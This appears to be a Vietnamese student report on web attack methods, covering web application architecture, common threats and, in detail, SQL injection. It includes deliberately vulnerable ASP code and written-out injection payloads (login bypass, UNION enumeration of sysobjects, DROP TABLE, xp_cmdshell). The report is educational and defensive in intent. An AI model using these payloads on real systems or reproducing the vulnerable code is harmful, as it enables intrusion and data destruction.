Tải bản đầy đủ (.docx) (38 trang)

Tìm hiểu các phương pháp tấn công web Bài tập lớn

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (435.02 KB, 38 trang )

NHẬN XÉT CỦA GIÁO VIÊN

..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................


MỤC LỤC



2

2


DANH MỤC CÁC HÌNH VẼ
Danh mục các hình vẽ
Hình 1: Báo cáo nghiên cứu về tình hình an ninh mạng trong
hội thảo Cyber Security Executive tại New York năm 2008.
Hình 2. Kiến trúc 3 lớp của web application
Hình 3. Kiến trúc n lớp của web application
Hình 4: Tấn công DoS truyền thống
Hình 5: Kiểu tấn công DoS vào băng thông
Hình 6: Tấn công DDoS
Hình 7: Tấn công kiểu DRDoS

3

Trang
6
9
10
33
33
34
35

3



LỜI NÓI ĐẦU
Ngày nay, khi Internet được phổ biến rộng rãi, các tổ chức, cá nhân đều
có nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực
hiện các phiên giao dịch trực tuyến. Vấn đề nảy sinh là khi phạm vi ứng dụng
của các ứng dụng Web ngày càng mở rộng thì khả năng xuất hiện lỗi và bị tấn
công càng cao, trở thành đối tượng cho nhiều người tấn công với các mục đích
khác nhau. Đôi khi, cũng chỉ đơn giản là để thử tài hoặc đùa bỡn với người
khác.
Cùng với sự phát triển không ngừng của Internet và các dịch vụ trên
Internet, số lượng các vụ tấn công trên Internet cũng tăng theo cấp số nhân.
Trong khi các phương tiện thông tin đại chúng ngày càng nhắc nhiều đến
những khả năng truy nhập thông tin của Internet, thì các tài liệu chuyên môn
bắt đầu đề cập nhiều đến vấn đề bảo đảm và an toàn dữ liệu cho các máy tính
được kết nối vào mạng Internet.
Theo số liệu của CERT (Computer Emegency Response Team - "Đội cấp
cứu máy tính"), số lượng các vụ tấn công trên Internet được thông báo cho tổ
chức này là ít hơn 200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào
năm 1993, và 2241 vào năm 1994, và năm 2001 là 5315 vụ.
Ngay ở Việt Nam ta, theo bản tổng kết tình hình an ninh mạng tại Việt
Nam trong năm 2007 của Trung tâm An ninh mạng BKIS cho thấy : Việt Nam
có 342 Website bị tấn công, trong đó có 118 Website do Hacker trong nước và
224 website là do Hacker nước ngoài thực hiện. Và gần đây nhất là vụ tấn công
website và đoạt tên miền của Công ty chuyên cung cấp hosting Pavietnam, đã
khiến cho không chỉ riêng Website của công ty này mà còn ảnh hưởng tới hàng
nghìn website của các công ty khác đã thuê hosting ở PAvietnam.
Ở hội thảo Cyber Security Executive tại New York năm 2008, Mitre đã
đưa ra bản báo cáo nghiên cứu về tình hình an ninh mạng như sau: Trong số
20.000 bản báo cáo lại các lỗ hổng thì có 21,5% thuộc về lỗi của XSS, 14%
thuộc về lỗi SQL Injection và 9,5% là lỗi PHP, tràn bộ đệm là 7,9%, còn lại là

các lỗ hổng – nguy cơ khác.

4

4


Hình 1: Báo cáo nghiên cứu về tình hình an ninh mạng trong hội thảo Cyber Security
Executive tại New York năm 2008.

Trong đề tài này, chúng em sẽ trình bày một số kỹ thuật tấn công dịch vụ
web phổ biến hiện nay để chúng ta có thể dễ dàng hiểu, nhận ra được các kỹ
thuật, các thủ thuật tấn công web. Qua đó, chúng em đưa ra các biện pháp
phòng chống, bảo vệ cho dịch vụ web. Đó là lý do chúng em nghiên cứu đề tài
Tìm hiểu các phương pháp tấn công web.
Trong quá trình thực hiện đề tài nhóm em không khỏi mắc phải thiếu sót.
Mong thầy đóng góp ý kiến để chúng em có thể hoàn thiện tốt hơn trong
những đề tài sau này.
Em xin chân thành cảm ơn!
Sinh viên thực hiện:

Hà văn Trường
Nguyễn việt Long
Đỗ văn Tiền
Nguyễn như Tỉnh

5

5



Chương I: Tổng quan về web và ứng dụng
I.1. Khái niệm
Dưới góc độ kỹ thuật, Web được định nghĩa là môi trường có khả năng thực
thi chương trình cao, cho phép tạo các tùy biến trên triển khai trực tiếp của một lượng
lớn các ứng dụng tới đa người dùng. Hai thành phần quan trọng nhất của website
hiện là trình duyệt Web linh hoạt và các ứng dụng Web.
Web browser (trình duyệt web) là các ứng dụng phần mềm cho phép người
dùng truy vấn dữ liệu và tương tác với nội dung nằm trên trang Web bên trong
website.
Ứng dụng Web là một ứng dụng chủ/khách sử dụng giao thức HTTP để tương
tác với người dùng hay hệ thống khác. Ứng dụng web được chia thành hai loại chính:
ứng dụng web Public và ứng dụng web Private.


Ứng dụng web Public: là website dùng để quảng bá thông tin, cung cấp
và trao đổi thông tin với với bên ngoài như các website thương mại
điện tử, các website của các công ty chứng khoán, các ngân hàng,…
• Ứng dụng web Private: là các website cung cấp và trao đổi thông tin
trong một tổ chức, doanh nghiệp và các đối tác chiến lược… Các
website này thường dùng để cung cấp thông tin cho các văn phòng, chi
nhánh, các nhân viên đi công tác hoặc làm việc tại nhà và đôi khi là cho
các đối tác chiến lược kết nối qua môi trường internet.
Web Server (máy chủ web) là máy chủ có dung lượng lớn, tốc độ cao, được
dùng để chứa những website đã được thiết kế cùng với những thông tin liên quan
khác (các mã Script, các chương trình, và các file Multimedia), Web Server có khả
năng gửi đến máy khách những trang Web thông qua môi trường Internet (hoặc
Intranet) qua giao thức HTTP - giao thức được thiết kế để gửi các file đến trình duyệt
Web và các giao thức khác.
Các trang Web hiện nay cho phép người dùng lấy xuống nội dung động cá

nhân hóa theo thiết lập và tham chiếu riêng. Hơn nữa chúng cũng có thể chạy các
script trên máy khách, có thể “thay đổi” trình duyệt Internet thành giao diện cho các
ứng dụng như thư điện tử, phần mềm ánh xạ tương tác (Yahoo Mail, Google Maps).
Quan trọng nhất là website ngày nay cho phép đóng gói, xử lý, lưu trữ và
truyền tải dữ liệu khách hàng nhạy cảm (như thông tin cá nhân, mã số thẻ tín dụng,
thông tin bảo mật xã hội …) có thể dùng ngay hoặc dùng định kỳ về sau. Và, điều
này được thực hiện qua các ứng dụng Web. Đó có thể là thành phần webmail (thư
điện tử), trang đăng nhập, chương trình hỗ trợ và mẫu yêu cầu sản phẩm hay hoạt
động mua bán, hệ thống quản lý nội dung, phát triển website hiện đại, cung cấp cho
6

6


các doanh nghiệp phương tiện cần thiết để liên lạc với khách hàng tương lai và khách
hàng hiện tại.
Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phép
người dùng website đăng nhập, truy vấn vào/ra dữ liệu qua mạng Internet trên trình
duyệt Web yêu thích của họ. Dữ liệu sẽ được gửi tới người dùng trong trình duyệt
theo kiểu thông tin động (trong một định dạng cụ thể, như với HTML thì dùng CSS)
từ ứng dụng Web qua một Web Server.
Các ứng dụng Web truy vấn máy chủ chứa nội dung (chủ yếu trên cơ sở dữ
liệu lưu trữ nội dung) và tạo tài liệu Web động để phục vụ yêu cầu của máy khách
(chính là người dùng website). Tài liệu được tạo trong kiểu định dạng tiêu chuẩn hỗ
trợ trên tất cả mọi trình duyệt (như HTML, XHTML). JavaScript là một dạng script
client-side cho phép yếu tố động có ở trên từng trang (như thay đổi ảnh mỗi lần
người dùng di chuột tới). Nó dịch và chạy tất cả script, lệnh… khi hiển thị trang web
và nội dung được yêu cầu. Wikipedia, bộ bách khoa toàn thư trực tuyến lớn nhất thế
giới hiện nay định nghĩa Web browser là “máy khách chung cho mọi ứng dụng web”.
Một cải tiến đáng kể khác trong quá trình xây dựng và duy trì các ứng dụng

Web là chúng có thể hoạt dộng mà không cần quan tâm đến hệ điều hành hay trình
duyệt chạy trên các máy client. Ứng dụng Web được triển khai ở bất cứ nơi nào có
Internet, và hầu hết không đòi hỏi yêu cầu cài đặt cho người dùng cuối.
Một số ví dụ về Web application:
 CMS (Content Management System) Hệ quản trị nội dung, cũng được

gọi là hệ thống quản lý nội dung là phần mềm để tổ chức và tạo môi
trường cộng tác thuận lợi nhằm mục đích xây dựng một hệ thống tài
liệu và các loại nội dung khác một cách thống nhất.
 Web mail (Web-based Emails) là một giao diện web, được thiết kế cho
phép truy cập email trên máy chủ từ bất cứ đâu trên thế giới thông qua
web (sử dụng trình duyệt). Giao thức IMAP đã giúp WebMail thực hiện
việc này. Web mail cho phép chúng ta thực hiện nhiều chức năng như:
soạn thư, gửi thư, lịch làm việc…
 Shopping Carts là một loại ứng dụng web dùng cho việc mua sắm trực
tuyến, Các shopping cart không yêu cầu phần mềm giao dịch an toàn.
Chúng thực tế là một phần của site ảo để bán hàng trực tuyến, Các
shopping cart sử dụng các cookie để xác định danh sách các sản phẩm
mà khách hàng đã chọn mua. Có hai cách mà một công ty có thể thiết
lập cookie. Cách thứ nhất là sao lưu từng giao dịch shopping cart vào
một cookie ở máy tính của khách hàng. Cách thứ hai là gắn một ID
khách hàng và lưu ID này ở trong một cookie
 Portal hay cổng thông tin điện tử được hiểu như là một trang web xuất
phát mà từ đó người sử dụng có thể dễ dàng truy xuất các trang web và
các dịch vụ thông tin khác trên mạng máy tính. Lợi ích lớn nhất mà
portal đem lại là tính tiện lợi, dễ sử dụng, Thay vì phải nhớ vô số các
địa chỉ khác nhau cho các mục đích sử dụng khác nhau, thì với một
web portal như Yahoo, người dùng chỉ cần nhớ yahoo.com. Hiện nay ở
7


7


Việt nam, các cơ quan nhà nước, các công ty vẫn sử dụng loại ứng
dụng web này. Một vài Portal tiêu biểu như:
• Portal của Mobifone: />• Hay Portal của chính phủ:
/>_pageid=33,1&_dad=portal&_schema=PORTAL



Và còn nhiều ứng dụng web khác nữa.

I.2. Kiến trúc ứng dụng web
Hình bên dưới minh họa chi tiết mô hình ứng dụng Web ba lớp. Lớp đầu tiên
Presentation layer là trình duyệt Web hoặc giao diện người dùng. Lớp thứ hai
Business logic layer là công nghệ kỹ thuật tạo nội dung động như Java servlets (JSP)
hay Active Server Pages (ASP). Còn lớp thứ ba là Data access layer-cơ sở dữ liệu
chứa nội dung (như tin tức) và dữ liệu người dùng (như username, password, mã số
bảo mật xã hội, chi tiết thẻ tín dụng).

Hình 2. Kiến trúc 3 lớp của web application
 Lớp trình bày (Prensentation layer): Gồm các thành phần giao diện đồ họa

người dùng (GUI) chuẩn giúp hiển thị dữ liệu cho người dùng, ngoài ra còn có
thể có thêm các ứng dụng tạo bố cục cho trang web. Nó phải hoạt động cùng
với lớp business logic để xử lý việc truyền dữ liệu cho người dùng xem và sử
dụng. Lớp này có thể nói chuyện trực tiếp với lớp dữ liệu Data layer.
 Lớp ứng dụng(Bussiness logic layer): Là nơi xử lý của ứng dụng Web. Nó sẽ
xử lý thông tin người dùng yêu cầu, đưa ra quyết định, gửi kết quả đến“lớp
trình bày”. Lớp này thường được cài đặt bằng các kỹ thuật lập trình như CGI,

Java, .NET, PHP, được triển khai trên các trình chủ như Apache, IIS...
8

8


 Lớp dữ liệu (Data access layer): Thường là các hệ quản trị dữ liệu (DBMS)

chịu trách nhiệm quản lý các file dữ liệu và quyền sử dụng. Lớp này là
optional (ứng dụng đơn giản không có tier này), chỉ hoạt động với dữ liệu và
truy cập đến dữ liệu. Ví dụ về lớp này:
• Microsoft SQL Server
• Oracle Database Server
• MySQL Server
• OpenLDAP

I.3. Mô tả hoạt động
Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến trình chủ Web thông qua
các lệnh cơ bản GET, POST… của giao thức HTTP, trình chủ lúc này có thể cho thực
thi một chương trình được xây dựng từ nhiều ngôn ngữ như Perl, C/C++… hoặc trình
chủ yêu cầu bộ diễn dịch thực thi các trang ASP, JSP… theo yêu cầu của trình khách.

Hình 3. Kiến trúc n lớp của web application
Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết
nối đến cơ sở dữ liệu, lưu các thông tin do trình khách gửi đến…và từ đó trả về cho
trình khách 1 luồng dữ liệu có định dạng theo giao thức HTTP, nó gồm 2 phần:


Header mô tả các thông tin về gói dữ liệu và các thuộc tính,
trạng thái trao đổi giữa trình duyệt và WebServer.

• Body là phần nội dung dữ liệu mà Server gửi về Client, nó có
thể là một file HTML, một hình ảnh, một đoạn phim hay một
văn bản bất kì.
Với firewall, luồng thông tin giữa trình chủ và trình khách là luồng thông tin
hợp lệ. Vì thế, nếu hacker tìm thấy vài lỗ hổng trong ứng dụng Web thì firewall
không còn hữu dụng trong việc ngăn chặn hacker này. Do đó, các kĩ thuật tấn công
vào một hệ thống mạng ngày nay đang dần tập trung vào những sơ suất (hay lỗ hổng)
trong quá trình tạo ứng dụng của những nhà phát triển Web hơn là tấn công trực tiếp
vào hệ thống mạng, hệ điều hành. Tuy nhiên, hacker cũng có thể lợi dụng các lỗ
hổng Web để mở rộng sự tấn công của mình vào các hệ thống không liên quan khác.
9

9


10

10


Chương II. Các nguy cơ mất an toàn của dịch
vụ web
Dưới đây là giới thiệu sơ lược các nguy cơ mất an toàn, các kĩ thuật tấn
công Web đã được phân loại dựa trên mức độ gây tác hại đối với ứng dụng, với
người dùng.

II.1. Chiếm hữu phiên làm việc (Session Mangement)
Kỹ thuật này được chia làm hai loại:

II.1.1. Ấn định phiên làm việc (Session Fixation)

Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng
cách gửi một session ID hợp lệ đến người dùng, sau khi người dùng đăng nhập
vào hệ thống thành công, hacker sẽ dùng lại session ID đó và nghiễm nhiên trở
thành người dùng hợp lệ.

II.1.2. Đánh cắp phiên làm việc (Session Hijacking)
Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ sau
khi nạn nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ
được lưu trữ trong cookie hay tham số URL, biến ẩn của form.

II.2. Lợi dụng việc thiếu sót trong việc kiểm tra dữ liệu
nhập hợp lệ (Input validation)
Hacker lợi dụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì
khiến cho hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn.

II.2.1. Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ
phía trình duyệt (Client-Side validation)
Do ngôn ngữ phía trình duyệt ( JavaScript, VBScript..) đuợc thực thi trên
trình duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sự kiểm
tra.

II.2.2. Tràn bộ đệm (Buffer OverFlow)
11

11


Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu
được cấp phát khiến cho ứng dụng không thực thi được câu lệnh dự định kế
tiếp mà thay vào đó phải thực thi một đoạn mã bất kì do hacker đưa vào hệ

thống. Nghiêm trọng hơn nếu ứng dụng được cấu hình để thực thi với quyền
root trên hệ thống.

II.2.3. Vượt qua đường dẫn (Path Traversal)
Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để
trả kết quả về cho trình duyệt mà hacker có thể lấy được nội dung tập tin bất kì
trên hệ thống.

II.2.4. Chèn mã lệnh thực thi trên trình duyệt nạn nhân
(Cross- Site Scripting)
Đây là kĩ thuật tấn công chủ yếu nhằm vào thông tin trên máy tính của
người dùng hơn là vào hệ thống máy chủ. Bằng cách thêm một đoạn mã bất kì
( thường được lập trình bằng ngôn ngữ kịch bản như JavaScript, VBScript…),
hacker có thể thực hiện việc đánh cắp thông tin quan trọng như cookie để từ đó
trở thành người dùng hợp lệ của ứng dụng…dựa trên những thông tin đánh cắp
này. Cross-Site scripting cũng là một kiểu tấn công “session hijacking”.

II.2.5. Chèn câu truy vấn SQL (SQL Injection)
Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề
kiểm tra giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn
hay những giá trị không hợp lệ để dễ dàng đăng nhập vào hệ thống.

II.3. Từ chối dịch vụ (Denial of service (DoS)
Một khối lượng lớn yêu cầu được gửi cho ứng dụng trong một khoảng
thời gian nhất định khiến hệ thống không đáp ứng kịp yêu cầu dẫn đến hệ
thống bị phá vỡ.

12

12



Chương III: Phân loại các tấn công web và ứng
dụng.
Ứng dụng thường được triển khai bên trong hệ thống bảo vệ chu vi mạng
với các thiết bị bảo vệ truyền thống như tường lửa,hệ thống phát hiện và phòng
chống truy nhập trái phép (IDS/IPS) .Các tấn công wed ở tầng ứng dụng khai
thác các điểm yếu do sự bất cẩn và sai sót của người lập trình ứng dụng.
Dựa trên kiến trúc các ứng dụng wed, các tấn công ứng dụng wed có thể
mđược phân loại dựa theo lỗ hổng trên từng lớp của ứng dụng như sau:

III.1. Tấn công máy chủ Web
Các tấn công này dựa trên lỗ hổng của hệ điều hành máy chủ chứa ứng
dụng web, gồm:
• Tấn công unicode,printer ISAPI trên máy chủ Microsoft IIS
• Tấn công tràn bộ nhớ đệm trên máy chủ Apache.

III.2. Tấn công các lỗ hổng liên quan đến vấn đề quản
trị Web
Các tấn công này khai thác các điểm yếu do lỗi người quản trị web, cấu
hình trang wed thiếu an toàn gồm:
• Kiểm tra tập tin thông thường( Common File Checks)
• Kiểm tra đuôi tập tin (Extension checking)
• Kiểm tra dữ liệu( Data Extension Checking)
• Kiểm tra dữ liệu back up (Back up Checking)
• Liệt kê nội dung thư mục (Directory Enumeration)
• Kiểm soát đường dẫn (Path Truncation)
• Đường dẫn wed ẩn (Hidden wed paths)
• Cấu hình sai SSL
• Cấu hình sai HTTP

• Cấu hình sai cơ chế xác thực...

III.3. Tấn công dựa trên lỗ hổng tầng ứng dụng Web
Các tấn công này dựa trên các điểm yếu trong mã nguồn và logic của
ứng dụng bao gồm:
• Lỗi về quá trình xác thực
• Lỗi về quy trình kiểm soát và phân quyền
• Dữ liệu cần bảo vệ bị lộ
13

13







14

Lỗi từ chối dịch vụ
Lỗi lừa đảo wed do cross-site scripting
Mất cắp thông tin chủ thể
Lỗi do SQL Injection...

14


Chương IV. Một số loại tấn công web và ứng
dụng

IV.1. Tấn công SQL Injection
IV.1.1. Khái niệm SQL Injection
SQL injection là một kĩ thuật cho phép những kẻ tấn công ( Hacker) lợi
dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các
thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" và thi hành các câu
lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước).
Hậu quả của nó rất tai hại cho phép những kẻ tấn công chiếm quyền kiểm soát
web. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí
bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2,
Sysbase.
Về bản chất, đây là lỗi tồn tại trong Các hệ quản trị cơ sở dữ liệu ( SQL
server, MySQL, Oraccle ….). Tuy nhiên, chúng ta có thể khắc phục lỗi này
bằng cách kiểm tra dữ liệu được nhập vào trên ứng dụng Web.

IV.2.1. Các dạng tấn công thường gặp
IV.2.1.1. Dạng tấn công vượt qua kiểm tra đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng
nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng
dụng web.Xét một ví dụ điển hình, thông thường để cho phép người dùng truy
cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng
nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau
khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật
khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp.
Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển
thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ phía người
dùng.
Ví dụ:
login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME">


15

15


Password: <input type="password" name="fPASSWORD">

<input type="submit">
</form>
execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _"WHERE USR_NAME='
" & vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open
strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing
%>
Thoạt nhìn, đoạn mã trong trang execlogin.asp dường như không chứa
bất cứ một lỗ hổng về an toàn nào. Người dùng không thể đăng nhập mà không
có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự không
an toàn và là tiền đề cho một lỗi SQL injection.
Đặc biệt, chỗ sơ hở nằm ở chỗ dữ liệu nhập vào từ người dùng được
dùng để xây dựng trực tiếp câu lệnh SQL. Chính điều này cho phép những kẻ

tấn công có thể điều khiển câu truy vấn sẽ được thực hiện.
Ví dụ: nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu
username/password của trang login.htm là: ' OR ' ' = ' '.
Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''=''
and USR_PASSWORD= '' OR ''=''
Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều
kiện trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng
đầu tiên trong bảng sẽ được chọn.Như vây, câu truy vấn này là hợp lệ và sẽ trả
về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng
16

16


đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.
Ngoài ra, trong chuỗi SQL-injection được tiêm vào thường chứa chứa
các kí tự đặc biệt của SQL :

kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn

kí tự “--” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng
Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ thống
như sau:
Username: admin’-Password:
Câu lệnh SQL như sau:
SELECT tkUsername FROM User
‘admin’-- AND
Password= ‘” & tkPassword & “’”


WHERE

tkUsername=

Ta thấy, câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin
mà không đòi hỏi password ( Vì phần sau của dấu “ --“ sẽ bị ẩn không được
thực thi).
Tóm lại, tấn công vượt qua kiểm tra đăng nhập là dạng tấn công cơ bản
nhất giúp Hacker vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu
lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web.
IV.2.1.2. Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này,
kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo
lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công.Xét một ví
dụ rất thường gặp trong các website về tin tức. Thông thường, sẽ có một trang
nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này.
Ví dụ: Mã nguồn cho
chức năng này thường được viết khá đơn giản theo dạng sau :
<%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" &
vNewsID
17

17


Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

Set objRS = Nothing
%>
Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của
tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên,
giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL
injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID
cho một giá trị khác, và từ đó, khởi đầu cho một cuộc tấn công bất hợp pháp, ví
dụ như:
0 OR 1=1 (nghĩa là, or
1=1).
Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì
nó sẽ thực hiện câu lệnh:
SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1
Một trường hợp khác, ví dụ như trang tìm kiếm. Trang này cho phép
người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường
gặp là:
<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME
=' " & _vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
.............
Set objRS = Nothing
%>
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL
để nhập vào trường tên tác giả bằng chuỗi giá trị:
' UNION SELECT ALL SELECT OtherField FROM OtherTable
WHERE ' '=' (*)

Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực
18

18


hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Tất nhiên các ví dụ nói trên,
dường như không có gì nguy hiểm, nhưng hãy thử tưởng tượng kẻ tấn công có
thể xóa toàn bộ cơ sở dữ liệu bằng cách chèn vào các đoạn lệnh nguy hiểm như
lệnh DROP TABLE.
Ví dụ như: ' DROP TABLE T_AUTHORS –
Như vậy để biết được ứng dụng web có bị lỗi dạng này hay không ? Rất
đơn giản, hãy nhập vào chuỗi (*)
như trên, nếu hệ thống báo lỗi về cú pháp
dạng:
Invalid object name “OtherTable”;
ta có thể biết chắc là hệ thống đã thực hiện câu SELECT sau từ khóa
UNION, vì như vậy mới có thể trả về lỗi mà ta đã cố tình tạo ra trong câu lệnh
SELECT.
Và ta cũng có thể biết được tên của các bảng dữ liệu mà thực hiện các
thao tác phá hoại khi ứng dụng web bị lỗi SQL injection. Cũng rất đơn giản,
bởi vì trong SQL Server, có hai đối tượng là sysobjects và syscolumns cho
phép liệt kê tất cả các tên bảng và cột có trong hệ thống.
Ta chỉ cần chỉnh lại câu lệnh SELECT, ví dụ như:
' UNION SELECT name FROM sysobjects WHERE xtype = 'U'
là có thể liệt kê được tên tất cả các bảng dữ liệu.
2.1.3. Dạng tấn công sử dụng câu lệnh INSERT
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài
khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công,
người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể

được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.
Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:
INSERT INTO TableName VALUES('Value One', 'Value Two',
'Value Three').
Nếu đoạn mã xây dựng câu lệnh SQL có dạng :
<%
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ',
' " & strValueTwo & " ', ' " & strValueThree & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open
strSQL, "DSN=..."
19

19


….................
Set objRS = Nothing
%>
Ta thấy, đoạn code trên đã bị lỗi SQL injection, bởi vì nếu ta nhập vào
trường thứ nhất ví dụ như:
' + (SELECT TOP 1 FieldName FROM TableName) + '.
Lúc này câu truy vấn sẽ là:
INSERT INTO TableName VALUES(' ' + (SELECT TOP 1
FieldName FROM TableName) + ' ', 'abc', 'def').
Khi đó, lúc thực hiện lệnh xem thông tin, xem như ta đã yêu cầu thực
hiện thêm một lệnh nữa đó là: SELECT TOP 1 FieldName FROM
TableName
IV.2.1.4. Dạng tấn công sử dụng stored-procedures
Stored Procedure được sử dụng trong lập trình Web với mục đích giảm
sự phức tạp trong ứng dụng và tránh sự tấn công trong kĩ thuật SQL Injection.

Tuy nhiên hacker vẫn có thể lợi dụng những Stored Procedure để tấn công vào
hệ thống.Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng
dụng được thực thi với quyền quản trị hệ thống 'sa'.
Ví dụ, nếu ta thay đoạn mã tiêm vào dạng:
' ; EXEC xp_cmdshell ‘cmd.exe dir C: '.
Lúc này, hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt
server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
IV.2.1.5. Tấn công dựa vào câu lệnh HAVING, GROUP BY,
UNION
Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông
thường vị trí có thể được chèn thêm vào một mệnh đề SELECT là sau
WHERE. Để có thể trả về nhiều dòng thông tin trong bảng, thay đổi điều kiện
trong mệnh đề WHERE bằng cách chèn thêm UNION SELECT.
Ví dụ : StrSQL=“SELECT tkUsername FROM User WHERE
tkUsername like ‘% “ & tName & “’UNION SELECT tkPassword from
User”
20

20


Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với
tkPassword trong bảng User.
Chú ý: Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số
lượng cột trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía
sau bằng nhau và cùng kiểu.Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu
lệnh UNION mà có thể biết kiểu của mỗi trường.
Sau đây là ví dụ qúa trình tấn công của tin tặc để khai thác nội dung cơ
sở dữ liệu dựa vào HAVING, GROUP BY, UNION:
Câu truy vấn cần để đăng nhập :

SQL Query=“SELECT tkUsername,tkPassword FROM User WHERE
tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’”
Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử
dụng câu điều kiện “having” , như ví dụ sau:
Giá trị nhập vào:
Username: ’having 1=1—
Lỗi phát sinh:
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'User.tkUsername' is invalid in the select list because it is not contained in
an aggregate function and there is no GROUP BY clause.
